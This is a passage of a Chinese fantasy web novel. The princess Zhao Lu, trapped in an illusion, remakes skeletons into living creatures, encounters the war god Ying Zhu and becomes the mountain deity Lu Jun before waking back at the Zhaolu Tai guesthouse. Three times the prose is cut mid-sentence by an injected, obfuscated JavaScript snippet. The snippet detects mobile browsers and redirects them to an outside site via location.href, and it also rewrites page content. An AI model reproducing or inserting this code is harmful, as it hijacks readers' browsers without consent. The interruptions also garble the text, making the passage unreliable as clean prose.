赵潞被热浪烤得身心俱疲,也绝不席地而坐,这会靠在一处岩石后,暂避漫天黄沙。应长明说要解鹿君的怨,可在这一望无际的黄土大地上,她上哪去找那鹿君? 岩石后面藏着一个小山洞。没能跟上族群迁徙的骸骨们,大多躲在这里,它们裸露在外太久便会风化,到那时便真是形同死尸,动也不能动了。 一个只有成年人小腿高的婴骸从山洞里缓缓爬出来,轻轻碰了碰被黑纱盖住的女孩。它没有眼珠,可从那歪着脑袋的动作大概能看出它带有几分好奇。 自从见了那掉皮的老妖怪,赵潞自诩对恐怖的承受力已大大提高,此刻对上一具幼婴白骨,她也只是翻了个白眼,唇角微微牵了牵,嘴上习惯性地念道: “应烛长明,诸暗不近。” 话音刚落,一阵尖锐短促的哭叫骤然炸开,响彻整个山洞。 “咿呀——!” 面前的婴骸如遭雷击,顷刻间化作一捧黄沙,与脚下的泥土混作一团,你我不分。 山洞内的骸骨们皆被同类消亡的情形震惊得抱作一团缩到了角落里,生怕一个不对付就被外面的黑袍送去归西。 又是一阵黄风,赵潞一矮身,也躲进了山洞,看着瑟瑟发抖骸骨们,心里五味杂陈。 护身诀怎么这个时候又威力四射了,这些骸骨们似乎倒是没什么恶意。 ...... 天地混沌初开之际,天生地长的除了天上仙灵,便是满地乱爬的妖魔鬼怪。 彼时人还没有被造出来,天地间唯有仙魔两立。神仙居高临下,能将地上的魑魅魍魉尽收眼底,而邪祟们懵懵懂懂,浑然不知头顶之上还有另一重天地。 神仙逍遥,快活自在。 醉眠旖旎四处八方,抱琴奏舞天上绝唱。 这样的日子,神仙们过了千年万年,直到“天道”的出现。 天道来无影去无踪,甚至连一具肉身都没有。但它却能晓一切,虽不言语,却能将万事掌握其中。 神仙们再也无法来去自如,醉生梦死。不循天道者,转瞬便跌落凡尘,而那些违逆天道之人究竟去了何处—— 天地无言,无人能答。 “荣枯有数,往来皆天。” 两道身影站在小昭山的最高处,一白一青,身姿皆是挺拔修长,青衣开口后,白衣默然片刻,随后翻身上了颗枯败的树木。 即便黄沙弥漫,他的衣角却依旧洁净如雪:“这是天道同你讲的?” 青衣颔首不言。 “他们虽未明言,心皆有怨。” 白衣点到即止,青衣自然也明白要将这句话烂到肚子里。 神仙们虽不敢违逆天道,可对这道束缚自由的枷锁,心里头多少是有些怨言的,若是让他们知道了天道对她说的话,她岂不是成了个活靶子么。 应烛本在自己神邸中挖出千年前的陈酿打算痛饮一场,就受到天道的感召来了这无间开路。虽不知道为何已然无极,天道仍然要把手伸到这地上,但应烛倒也无所谓,只是放下桃酿,须臾踏入无间。 不过没想到,同行之人还有个执掌时序的济安君。 神本无相,她则是个女生男相的神仙。 看来这天道是要在无间大刀阔斧,建造个地上人间。 “应烛君,就不浪费时间了——天地四时,邪祟尽消!” 应烛暗道不好,这济安君怎么一言不合便要将此地夷为平地,忙起手捏诀,挡去了这一遭泼天的攻势。 “且慢!”他稳了稳气息,“济安君,天道曾有言,作为开路之人,不可莽撞行事。开路并非简单除魔,需先探查此间。” 济安将信将疑地望向他,然而应烛面上不动声色,平静得仿佛天道当真这么说过一般。 寻不到破绽,济安也只得应下,可就在这一刹那,应烛脸色骤变,就在她以为抓住了应烛骗人的把柄时,面前人冷声道: “此间有东西念了我的诀。” 济安脸色大变。 诀这东西在天地之初,还不像后世那般随便什么信徒都能念来保平安。 如今的神仙,连信徒的影子都还没见着,却在这连神仙都不知道长什么样的无间,感应到了诀被使用的气息。 怎能不惊,怎能不诧? ...... 入了夜,赵潞借着月光,总算在山洞里将方才被她一道神诀打成黄土的婴骸给一点一点重新捏了回来,模样虽丑,但好歹有鼻子有眼了。 周围的骸骨纷纷凑过来,盯着那婴骸圆润的脸、匀称的身材一动不动。 它们虽不能言语,可那一个个空洞洞的眼眶里,分明写满了艳羡。 赵潞嘴角抽了抽:“要不把你们也打散了,重新捏?” 骸骨们的脑袋在夜风里沙沙作响,一下一下点着。 赵潞还没来得及说什么,便见这些骸骨无师自通地排起了一条长长的队伍。为首的骸骨伸出还带着沙土的手,轻轻点了点她的肩膀,像是在催促,又怕弄脏了她的衣裳。 她深吸一口气:“应烛长明,诸暗不近!” 几个壮年骸骨应声化沙,又在她掌心重聚成形。 “应烛长明,诸暗不近。” 几个总角之年的幼童被捏好了。 “应烛长明,诸暗不近......” 猪、牛、羊,猫、狗、兔——她把见过的牲畜捏了个遍,末了还凭记忆里的画本,捏了几样压根没见过的东西。 这一番折腾下来,几近天明。 赵潞累得够呛,可看着那些骇人的白骨,变成一个个灰头土脸却令人熟悉的模样,心里倒也生出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406880|200559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝满足。 不过她可没忘记此行的目的:“你们这里,有没有什么鹿君、鹿仙子之类名号的人?” 得了身躯的白骨们纷纷摇头,摇了半天,才猛然反应过来如今已有口能言了。 一个与赵潞年纪相仿的女孩最先开口,语气殷切道:“虽然不知‘人’为何物,但是叫鹿君与鹿仙子的骸骨是一个都没有的,从来没听过。不过您可以去背山那边看看,大部队都在那儿。我们也要过去,您可以跟着我们。” 赵潞跟在一群泥土人后面,浑然不觉自己已被两个神仙盯了半宿。 “这黑袍......也是天上来的?”济安疑惑道,“可她为何念你的诀?” 而且她也从来没有在天上见过此人。 应烛摇了摇头。 “她身上没有神仙的气息,除了——” 除了他自己的。 真真是惊世骇俗,他从未见过这黑袍女子,却在她身上感受到了极为浓烈的......自己的味道。 来到山背,搓磨人的黄沙果然少了许多。只是赵潞有求于人,总得先把骸骨们的要求满足了才行。 她便这么捏了一天一夜。 应烛便这么看了她一天一夜。 每每当赵潞开口念诀,应烛便觉一股奇异的颤动自脊背蔓延开来,缓缓扩散至四肢百骸。那滋味说不清道不明,他深受其扰,却生生忍了一天一夜,也没有阻止那黑袍念诀捏人。 “她到底在干什么?” 神仙不需要睡觉,济安越看越精神。起初她还看得明白:那黑袍在给骸骨重塑肉身,捏出来的模样和神仙长得极为相似。可后来,黑袍竟捏了许多她从未见过的生灵,她便愈发惊异了。 应烛没有回话,他的目光从未离开过那道劳累的身影。 赵潞打了个哈欠:“鹿君,鹿仙子,见过吗?” 得了身体的骸骨们不敢敷衍恩人,可绞尽脑汁也只能摇摇头:“什么鹿?” 她一愣,一时不知该怎么解释。忽然想起自己方才好像捏了鹿,便转头望了望,走到一只鹿身旁:“就是这种鹿。” 说罢,她蹲下身,一笔一画在地上写了个“鹿”字。 骸骨们好奇地围拢过来。应烛与济安也悄然隐去身形,凑到近前,看她写字。 忙活了两天,却始终没得到想要的答案。赵潞此刻只想倒头就睡,可她实在不想以天为被,以地为席,便硬撑着站起身:“散了散了,我自己找找。” 她望着四周相似的地形,迷迷糊糊地想——得去后山。 后山有照鹿台,有爷奶。 在后山能睡个好觉。 应烛跟在赵潞身后,看着她虚弱至极的模样,心里不知为何无端生出了很多念想。 她怎么了,要跌落凡尘了吗? 可这里已经是无间了,她还能去哪里? 越过好几里路,赵潞实在撑不住了。她脚下一软,整个人便往前栽去,只是预想中的疼痛没有到来,反而落入一个带着熟悉气息的怀抱。 迷迷糊糊间,她瞧见了那张俊美得惊心动魄的脸。 “登徒鬼......” 可此时此刻,她却安心地闭上了眼。 “你终于来了。” 9. 八(一) 抱个女儿家在怀里睡上四五个时辰,对于掌管生杀枯荣的应烛君来说实在算不得什么。二人寻了一处山洞,一待就是一整天。济安无所事事,便盯着睡着的赵潞发起了呆。 “她是魔物么?” 应烛坦荡摇首:“不知。” “她是怎么了?要消散了么?” 应烛沉默片刻:“不像。” “你认识她吗?” 他低头看着陷入沉眠的女子:“理应未曾见过。” 赵潞依旧沉睡,呼吸均匀。济安在洞中转了一圈,寻了处平整石壁,指尖凝起一点微光,将方才赵潞写的那个“鹿”字,一笔一画地刻了上去。 “她方才在找的那位鹿君,”济安偏头看着石壁上的字,漫不经心地开口:“也是天上的神仙么?” 话音落下,山洞里安静了片刻,应烛没有回答。 意料之中。 济安似乎也没指望能得到什么回应,只是轻轻哼笑了一声,身影便如水墨入水般,悄然淡去。 “此处过于无聊。” 她离去时留下的声音还在洞壁间悠悠回荡,带着几分跃跃欲试的兴致:“我去帮她找找那位鹿君,看看是何方人物。” … 日头渐渐暗了下来,济安仍未归来。 赵潞却睡得格外踏实。 照鹿台的种种,恍惚间都像黄粱一梦,她仿佛还睡在满煌殿的九层软垫上,只是这香...... “姝春,换香了么,这个好闻多了。” 应烛低头,见怀中的黑袍越攀越紧,末了,她竟靠在他胸膛上猛吸了一口。霎时两团红晕从他面颊直直炸开到了耳尖,四肢都像灌了铅似的僵住。 “本宫醒了,唤早膳吧。” 没听见婢女应声,赵潞疑惑地先坐起身,这才睁开眼。 入目是空旷漆黑的山洞,她愣了愣,又揉了揉眼,只当自己还没睡醒。 半晌过去。 赵潞用两个打哈欠的工夫,接受了自己从养尊处优的殿下变成了农家女,又被一个孤魂野鬼塞进了这个满是黄沙的鬼地方。唯独没接受的,是自己竟在这个孤魂野鬼的怀里睡得那样香甜安稳。 不过说到孤魂野鬼...... 她悠悠转过身去,与他面对面:“应长明,把我放回去吧,我压根找不到鹿君啊。” 应烛怔了一瞬,但很快便恢复了冷静自持的模样。倘若赵潞仔细瞧,便能发现眼前这个和登徒鬼生得一模一样的男人,眼底根本没有那般风情,有的只是黑白分明的、清清亮亮的好奇。 “你要回哪里去?” 赵潞没意识到他在套话,点了点头,拍拍衣角站起身来:“对啊,回照鹿台啊。我捏了好几天人,手都要肿了。” 她一边说一边比划,语气里满是泄气。 “我都找不到鹿君,怎么解她的怨?再说了,那李响没了就没了,负心汉没了到底有什么好可惜的。至于照鹿台——本宫......关了门本宫也有办法让二老过上好日子。” 赵潞噼里啪啦地说着丧气话,浑然不觉应烛的目光一寸一寸暗沉下去。 他只是一抬手,赵潞便说不出话来,嘴唇像被什么东西牢牢黏住,一个字也吐不出。 “我问话,点头或者摇头。” 赵潞被这一出弄得有些不知所措,但好在她注意到了应烛眼底的陌生,暗自盘算了一下自己的处境,竟罕见地沉静下来,没有闹腾,只眨了眨眼示意他问。 “你认识我。” 赵潞点头。 “你是神?” 赵潞摇头。 “你是魔?” 赵潞仍是摇头。 应烛将手放下,赵潞依旧沉默,只是望着他的那双眼睛里,悄然蓄起了戒备。 “不是神,也不是魔。”应烛微微偏头,语气里多了几分探究与笑意,“那你是什么?” 这里莫非只有神魔两立? 赵潞攥紧了衣角,随后抬起下颌:“人。” “何谓人?” “不可逃生老病死,不可避悲欢离合。”末了,她不耐地瞥了应烛一眼,语气里带上几分赌气似的凉意,“比神魔都要可怜得多。你们随便一个念头,我们就得承着山崩海啸般的后果。” 应烛没有避开赵潞的横眉冷对,反而直直迎了上去:“是么?” 他顿了顿,目光落在她脸上,像是要从那双眼睛里找出些什么:“你认识我,还会念我的诀。” “你的诀?”赵潞慢了半拍,随即反应过来,觉得荒谬得几乎可笑,“你说的是应烛长明,诸暗不近?那不是战神的诀么,你不是......”她的话音忽然顿住,像是被人掐住了喉咙。 片刻后,她干巴巴地接上,声音里带着难以置信:“你是战神?应烛战神?” 应烛不明白自己这个身份有什么可笑,但见她在笑,便也跟着笑了几声,语气自然得像是在说今日天气不错:“是啊,不像么?” 看他不像骗人的样子,赵潞心里在尖叫。 如果应烛是战神——那她方才那些不耐烦地打量、那些夹枪带棒的嘲讽—— 十——足——十的大不敬! 都怪应长明,应长明偏偏长了个和战神一模一样的脸。 叫她将战神当成了那个登徒鬼! 她面上没显,但腿是实打实地软了。 悄无声息地,她往后退了半步,靠在了石壁上,正正好好挨着济安刻下的那个“鹿”字。她深吸一口气,挤出一个笑容来,客气得有些过分:“像,像得很。” 她顿了顿,声音里带着几分小心翼翼的试探,“神仙啊,不知您可否告诉我,鹿君在何处?” 应烛没有接她的话,只是抬眼看了看她头顶石壁上那个“鹿”字,微微摇了摇头:“你还没回答我的问题。” 赵潞沉默片刻,像是在斟酌措辞,又像是在平复心绪。 半晌,她低声道:“我是您的信徒。”顿了顿,又补充道,“我来自......不知道多少年之后。总之那时地上遍地是人,我的国家,赵国,修建了不知多少您的庙,举国上下,没有一个不尊敬您的。” 话音落下,她想起史书上读到的那些记载,膝盖不由自主地弯了下去,“扑通”一声跪在地上,双手举过头顶,背仍旧挺直,她的声音里带出几分恳切:“如果您记得的话,请一定保佑赵国平安。” 如果是因为她此时此刻的不着调导致赵国灭亡、皇兄自焚,她一定一定不会原谅自己。 应烛没有应声。 他背过身去,微微抬手,赵潞便被一股看不见的力量托了起来,稳稳当当地站直了。 恰逢一道青色身影闪入洞中,赵潞便也识趣地没再言语。和战神一道的,估计也是个什么神吧。 “你醒啦?”济安大大咧咧地扫了她一眼,随即转向应烛,“这里没有叫鹿君的。” 说完,她又想起什么似的补了一句:“方才我感应到了,天道说此间已开。我们做什么了?天上催得紧,说桃会将开,花神说天道传话,要商议播种下界的事,众神都得到。” 应烛略一思忖,转过身来看向鹌鹑般缩在角落的赵潞,目光在她脸上停了一瞬。 “小心。”他顿了顿,“我会回来。” “我的......信徒。” 送走二神,赵潞的肚子才放心地咕咕叫。 她出了山洞想去寻些吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406881|200559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食,抬眼却见外面三五成群,牲畜与人混在一处,大大小小地散落着。 天上月明星稀,若忽略那些人和动物都是泥巴色,此情此景,倒真像个人间了。 赵潞饿得没了力气,放眼望去,目之所及只有黄土。 殿下的傲骨却撑着脊背不曾弯下,她仍是笔直的,只是走得艰难,一步一步踩在荒原上像踩在棉花里。 脚下没了准头,一道凸起的石块便将她绊倒在地。膝盖磕在硬土上,磨破了皮,血珠子渗出来,洇进黑袍,又顺着布料浸润了地表。 然后,那干裂的黄土缝里,竟生出了一抹翠绿。 嫩芽顶着两片小叶,颤巍巍地舒展开来,带着一股清冽的芬芳,在这片死寂的荒原上突兀又鲜活。 赵潞没有注意到,可多的是“人”注意到了。 血水顺着她走过的路,将满目黄土染得生机勃勃。 这地方没了太阳,便从极热骤然坠入极寒。 赵潞膝上的血没完没了地淌着,她却像浑然不觉,只觉身子越来越冷,寒意从四肢往骨头缝里钻。 她抱着手臂,跌跌撞撞地下意识走进鹿群。 “鹿君...快出来吧。” 鲜血沾到那些低头轻嗅地面的鹿身上,竟将黄土捏成的身躯染出了梅花般的花纹,一双双黑瞳亮晶晶地转过来,耳朵轻轻动着,耳边的绒毛也跟着微微颤动。 鹿群没有躲开,只是安静地看着她,像是等待什么。 赵潞的脸越来越苍白。 她终于撑不住,轰然倒了下去。 那些她亲手捏出的人伏在她身前,各色各样的,高矮胖瘦的,颇为善良地彼此分食。她没来由地轻轻嗅了一口。 还挺香。 不是口腹之欲的香,是万物之始的香,是莺啼燕语的香。 后来鼻子没了,她只能用一双疲乏的眼去看。 万物的色彩在她眼前渐次明亮,千万生灵越来越鲜活,像是有什么东西从她身体里淌出去,淌进了这片荒原的每一道裂缝里。 后来眼睛也没了。 山越来越翠,河越来越清。 直到赵潞彻底消失不见,连白骨都供养了这片土地。 那时生灵们都会说话,他们口口相传,像赵潞捏他们一样捏了个和她一模一样的雕塑,但他们不敢看赵潞的一双眼,于是没有雕刻她的头。 后来有人察觉到,小昭山有一处山洞,是赵潞气息最重的地方。虽说满山都是她的味道,可那里,是最重的。于是,他们把那尊雕塑送进洞中,恰好摆在那个“鹿”字下方。 那么,便称她为鹿君罢。 千年百年,或许更久。 天上的神仙们将各处该开什么花、开多久,连角角落落都一一顾及周全。这场花会,总算结束了。 应烛想起下界还有个“人”。那“人”是他的信徒,说他身上的味道好闻。那日......似乎是要饮桃花酿的。 不过神偏心信徒,又有什么不行的呢? 花会期间,地上的人们时时通信于风雨二神,好几次吵得整个会都开不下去。那两位倒好,放着众神的鸽子不管,自顾自下界行风布雨去了。 也不知是不是私心——总归小昭山那片地,他是选了桃花的。 再下界时,他惊觉满山翠绿,早已不是离开时的模样。 心念不好,便四处寻那位信徒。 可满山,都是她的气息。 应烛化作寻常人,一路打听过去。问着问着,竟问到了信徒心心念念的鹿君。他挑了挑眉,不以为意地负手而去——可刚看清那尊雕塑的身形,嘴角便僵在了那一抹无谓里。 因缘巧合,种种捉弄是非。 10. 八(二) 月换了好几轮。那个一向行云流水的男人,此刻却坐在红烛之下,一刀一刀地刻着赵潞的眉眼。 她将整个身躯供养了这座山。 那魂魄呢? 如今部落间的冲突小而浅,各族都以“生存”二字为头等大事。天上的风雨神、丰收神,信徒千千万万—— 而他独有她一个。 应烛敛眸。 若她的魂魄被小昭山贪婪地吞食,他便将这座山掀个天翻地覆,也要它吐出来。 若魂魄流落下界,他便潜入酆都,当一回劫盗。 总归天道只通传他们要做什么,至于不做什么...... 谁能管得着? 反正天道没说过不能这么做。 他放下那把足有成年男子小臂粗的弯刀,捧起刚刻好的脸,端详片刻,又皱起眉。没有黑袍半分神韵。 于是又拿起刀。 太吒不满地颤了颤,可在战神手下,这点挣扎不过是杯水车薪。这把让妖魔忌惮万分的武器,此刻再次沦为一柄雕塑刀。 天将亮时,应烛节骨分明的手指抚过木头的纹理,缓缓行至雕塑旁,严丝合缝地将那颗新雕的头颅,卡在了雕塑的脖颈上。 几乎在瞬间—— 赵潞以身供养小昭山后,意识似眠似醒,浮于云端,飘荡在山峰之间,起起沉沉,聚不成一个确切的念头,却又不是真的什么都感知不到。 至少她终于明白,寻了许久的鹿君,原来就是她自己。 她忘了初入小昭山时爷爷奶奶提过的传说,忘了春华祭,满心满脑只有被人一口一口分食的痛,只有万物初始的鲜妍...... 值当么? 若有人与她商量,她自然是愿意考虑一二的。 可没有人问过她。 它们只是自发地、以无可抗衡之力,逼她就范。 ——而如今 鹿君完整出世。 那双雕在木头上的眼,缓缓睁开。 “战神。” 女人浅笑。 那张与赵潞一模一样的脸上,细微的柔和晕染开骄纵直白的眉眼,霎那间便宛若只在丹青之中存在的绝世芳华。 应烛察觉到了几分危险,却还是欣然应下:“信徒,可还适应这副身躯?” 女人没了从前的毕恭毕敬,她抬手摸了摸自己的脸。 细腻滑嫩的皮肉,已被坚硬精细的木头所取代。 “战神,叫我阿潞罢。” 应烛如今远没有后世的练达通透,他与人相处的经验约等于零。 因此,他面对这份突如其来的亲昵便微微一怔,旋即颔首,神色复敛,温然如玉。 “阿潞唤我应烛便是。” 或许这就是信徒和神之间的相处方式,合该不那么生分才对。 鹿君庙里的鹿君不见了,却无人发觉。 因为部落之间的冲突,随着食能果腹、衣能蔽体、居有定所反倒愈演愈烈。 起初不过是小范围内的口舌之争,时日一长,卷入的人越来越多。 争吵,便成了争斗。 信徒与神入世却又出世,神看着信徒游说于各个部落,她说河之将倾,唯内陆才得以生存,于是黄河的上下游部落便进军中原。 她又说东海将沸,近海者必遭其殃。于是沿海诸族皆弃舟登岸,向西而争。 神看着信徒舌灿莲花,血染人间,即便她滴血未沾,也应该身负万重罪孽,可奇怪的是,信徒肩上空空。 就好像本就该这么发生似得。 偌大的桃树树干壮硕而粗重。信徒伏于神之下,挑眉望向那轮血月,桃影落在她的眼角,风情万种。 “他们该还我的。” 红唇很快不能言语。 人祸时定时飞,天哭地悲。天灾不期不止,蜉蝣生生。 神与信徒仅仅共生百年,神便忘了自己是神。 “应烛,我不喜这坚硬的外壳。” “好说,换一身便是。” “应烛,鹿君庙煞是寒酸。” “无妨,天工造物,我带下给你重焕一间。” “应烛,桃花落败真是萧瑟难耐。” “诚然,桃景合该不败。” “应烛,小昭山落满了雪的模样当真是好看。” “如此,冻日即可。” 应烛... 应烛... 应烛... 那日无风无雨,日头懒懒地悬在庙前,影子一寸一寸地缩,又一寸一寸地长。 小昭山的雪已下了年余。 促成这一切的神,尚不知人会被冻死,也不知百姓颗粒无收、饿殍遍野。他每每想出庙,便会被信徒的手轻轻勾回。 “阿潞,不要紧么?” 应烛贴近她的脸,呼吸轻轻打在她鼻侧。双眼一瞬不瞬地盯着她,眼尾那抹嫣红直白透出了此刻情动。 赵潞对眼前这位神明,唯有利用之心。见他没了出去的念头,便放下心来,巧笑一声:“我倒是谢谢他们。倘若以人之躯,我还真没有力气了。” 应烛听她这样说,心里没来由地一阵刺痛。 他俯身,用嘴堵住了赵潞接下来可能会说的话,脑子里却不停去想她身亡那日的遭遇。因为未曾亲眼看见,所以想象便尤其可怖,每一帧画面都像利刃一层一层地剜在他的心尖上。 “痛不痛?” 他轻轻抬起唇,问了一句,又重重地压了回去。 战神不敢听这个答案。 可纸包不住火。春宵几度之后,神终于看见了信徒身后虎视眈眈的亡魂——层层叠叠,密密麻麻,无声地张着嘴。 他便心下一跳。 与此同时,四季神和济安神下凡缉拿扰乱人间的怪魂,追踪到鹿神庙时,济安迟疑停下脚步。 “奇怪,怎么有点印象。” 感应到二神杀气重重,应烛竟然选择了包庇自己的信徒。可他刚想踏出庙门,便被太吒一剑捅进了心口。 神虽不死不灭,但被本命法器所伤,也难逃一劫。 剧痛自胸口炸开,他想回头去看那个能操控太吒命器的人,却只看见一角衣袂,在庙门处一闪,便消失在了漫天风雪里。 四季神与济安将失去了一魂一魄的战神接回了天庭。 终年的雪,因释法者的羸弱,终于停了。冰雪消融,溪水潺潺,万物继续周而复始,弥漫在山间的人也越来越多。 整个小昭山都又她的气息,因此她隐匿起来十分如鱼得水。偶尔想起那个痴神,她也只是淡淡讽笑称呼自己为“负心汉”。 可是整个人间,不也负了她么? 只是这负心汉...... 总觉得在哪里听过这个称呼。 月影之下,她透过水面看到了自己的脸。 那脸在水面上极为可怖,时而恸哭,时而惶恐,时而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406882|200559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怒斥,时而瞪着一双大眼睛直直地盯着自己。 “你看什么看呢?” 赵潞心生烦闷,那些怨魂缠绕她经年已久,导致她的心性越发不稳。看到那一幅幅用自己的脸做的鬼脸,她用力搅乱了水面。 湖面破碎的刹那,那脸发出一声尖叫:“赵潞,你快醒醒啊,我不想当坏人了!赵国再这样下去要完了!” “坏人?什么赵国......”她顿了顿,语气冷淡下来,“你是哪里来的山野精怪,也触我的霉头?” 说罢,她抬手一挥,方圆百里霎时无声无息,精怪们全都逃得远远的了,没来得及跑的,也都化作一缕余烟,灰溜溜地去转世投胎。 然而仅仅只默然了一瞬,湖里的身影就继续大吵大闹。 “赵潞!赵潞!赵潞!”湖中影子仍在叫嚣,“你有怨,便朝我打!你下来,你下来啊!” 赵潞最受不得挑衅,听到那影子作死,更是冷笑一声,化作一抹残影潜入水中。 枝桠上,一只把脑袋颠倒过来的猫头鹰静静地看着。 它只看见一个人对着平静无波的水面又哭又笑,然后一头扎进了自己的倒影里。 赵潞刚下去便发现湖里什么都没有。她想回到岸边,双腿拼命往上蹬,可她的双手却死死地掐住了自己的脖子。 怨灵自然不会因湖水而溺亡,可终年的悔恨与痛苦早已将她逼到了极点。千百个看不见的冤魂靠在她身边,愤然控诉了数十年。 她不是听不见。 恍惚间,她看见一个与自己一模一样的身影,正奋力挣扎着朝她靠近。 那个身影开口说:“赵潞,有我。我会一直陪着你,永不背弃。现在,回到我身边吧。” “罪,我和你一起赎。” “情,我和你一起还。” 怨灵仅仅迟疑了一瞬,便与面前的身影同时向着彼此走去。 湖水渐渐褪去,黑暗吞没了一切。两道身影在虚无中缓缓靠近,最终合为一体,再无分别。 ...... 小昭山后山,山神庙内。 赵潞觉得脸上被什么东西压得死死的,抬手掀开,只听木头与地面清脆一声撞击,光亮便透过眼皮传进来,刺得人不敢睁眼。 鼻尖忽而被一阵桃香萦绕,随即是男人带着三分笑意的声音。 “殿下,我就知道你可以的。” 应!长!明! 赵潞此时也顾不得刺眼的光,眯着眼睛瞪向近在咫尺的脸:“登徒鬼,你差点把我害死!” 不过她没有过多宣泄,将将压住情绪,待眼睛适应了光线,便正襟危坐道:“应长明,这——幻境罢。”她顿了顿,似乎在斟酌一个合适的词,“这幻境,是真是假?” 应长明起身,为赵潞斟了一壶酒。 酒液入杯,桃香四溢。 他将杯子推到她面前,才不紧不慢地开口:“殿下,我不知幻境里有什么,如何断定真假?” 赵潞一怔,还没来得及说什么,便见他敛了笑意,语气认真了几分:“在下一介孤魂野鬼,只想解开鹿君的怨。如今那一魂一魄,也终是归还于我了。” 他微微垂首。 “殿下,多谢。” “殿下,时候不早了,回去歇着吧。”他顿了顿,又补了一句,“对了,李响方才我也送回去了。” 周全十分,十分周全。 完全没给她说话的机会。 11. 九 山神殿在后山极为偏僻的地方,之前赵潞找李响时没打算走的那条路,便是通向这里的。出来时她才发觉,路面上的杂草已被修剪得整整齐齐,走在上面一点也不扎脚,幻境里过了十年百年,可外面依旧是凌晨的光景。 太白君不知从哪里冒出来,亲昵地蹭到赵潞脚脖子旁,一下一下地用脑袋贴着。经了幻境这一遭,赵潞懒得追究这狸奴不忠不义、遇事就逃的账。 “总归是聪明的,两头飞。”她低头瞥了它一眼,“本殿下也懒得管你。” 太白君像是听懂了,两只爪子扒拉住她的裤脚,一副求饶的模样。 赵潞没理它。那猫扒拉两下便蹦走了,走两步就回头看看她跟没跟上,尾巴一翘一翘的。 好在是去照鹿台的必经之路,赵潞也只能跟着。 那狸奴走到一半,便赖在一处不走了,赵潞嘴上虽狠,却也没有真想把太白君丢下不管,只好跟上去瞧瞧,边走边低声磨牙:“臭猫,你存心跟本宫对着干是不是......” 太白君听了,尾巴摇得愈发快了。赵潞刚走到它身边,伸手要捏它后颈拎回去,那猫却灵巧地一闪,躲了过去。 只见它不紧不慢地踱到一株树苗旁,淡定地眯起眼,舔起爪子来。 赵潞顺着看过去——那草地上竟孤零零地长着一株树苗。她定睛一瞧,吓得后退了两步。 那树苗身上挂满了大大小小的眼珠,和她入幻境之前看到的鸳鸯树一模一样! “不是没怨气了吗!”赵潞皱眉看了眼那树苗后便把目光移在了别处,“这丑东西怎么还在?” “喵——” 太白君小声叫唤着,夹着嗓子,咬着赵潞的裤脚往树苗那边拽。 赵潞被它拖着,只好转向那棵丑树。 这回离得近了她才看清树的全貌,树上挂着的哪是什么眼珠,分明是一颗颗龙眼肉。 这棵树苗也不像鸳鸯树上那般可怖地盯着人看。太白君伸爪子一勾,便掉下几颗,它叼起凑到赵潞面前,往前递了递,示意她拿着。 赵潞接过来,剥了皮,下意识地放进嘴里。 清甜,汁水丰盈,在齿间爆开。 “好吃......” 龙眼树的树根已被铲起,十分方便拿取。 本着来都来了的原则,赵潞毫无负担地拎在手上,抬脚踢了踢太白君的屁股:“走。” 太白君顿了顿,尾巴翘得高高的,迈步在前面带路。 “老公,为什么你脖子上有这个痕迹?” 还没到照鹿台,赵潞就听见院子里传来林真蓝声嘶力竭的质问。她和太白君对视一眼,悄无声息地趴到院门边,竖起耳朵听墙角。 李响像是被夺了舍,全然没有白日里对妻子吆五喝六的架势。听到老婆质问,浑浑噩噩地把她的外套拉链拉上,温声哄道:“老婆,回去说,这会儿大家要休息了。” 他转身的间隙,赵潞看见他脖子和脑袋连接处有一道极为明显的破口。 看来是被鸳鸯树教育了一番。 也好。 见两人回了屋,赵潞才抱着树苗走进院子。一踏进大门,便看见赵声在门边打着盹。这会儿下了雪,老人家怎么在外面睡着了? “爷爷,爷爷。” 她轻声唤着。 赵声坐在竹椅上,听到赵潞的声音,缓缓睁开眼。看见她,忙把身上的大衣披到她肩上:“诶,潞啊,终于回来了。那位客人也回来了。冷不冷?早点上去睡觉啊。” 原来是在等她。 赵潞心上涌起一股暖流,面上忙转了话题。 “爷爷,我们把这树苗种下吧。” 赵声定睛一看,接过树苗拿在手里仔细端详:“这树苗还没长大,怎么就结果了?” 赵潞耸耸肩:“小昭山的桃花也从来没败过啊,可能这就是这地方的奇特之处吧。” 赵声笑了笑,转身寻了块空地,将树苗栽下。 “是啊,小昭山是奇得很。” ...... 春华祭在初七那日落了幕,照鹿台的营生却依旧在继续。 当然,春华祭的结束,也给了有心人可乘之机。毕竟那阵子为了小昭山的名誉,他们可是耐着性子等了很久都没出手。 年后的一夜,照鹿台只有两户度假的客人,都是从卢瑛在小绿书上的账号预订的。 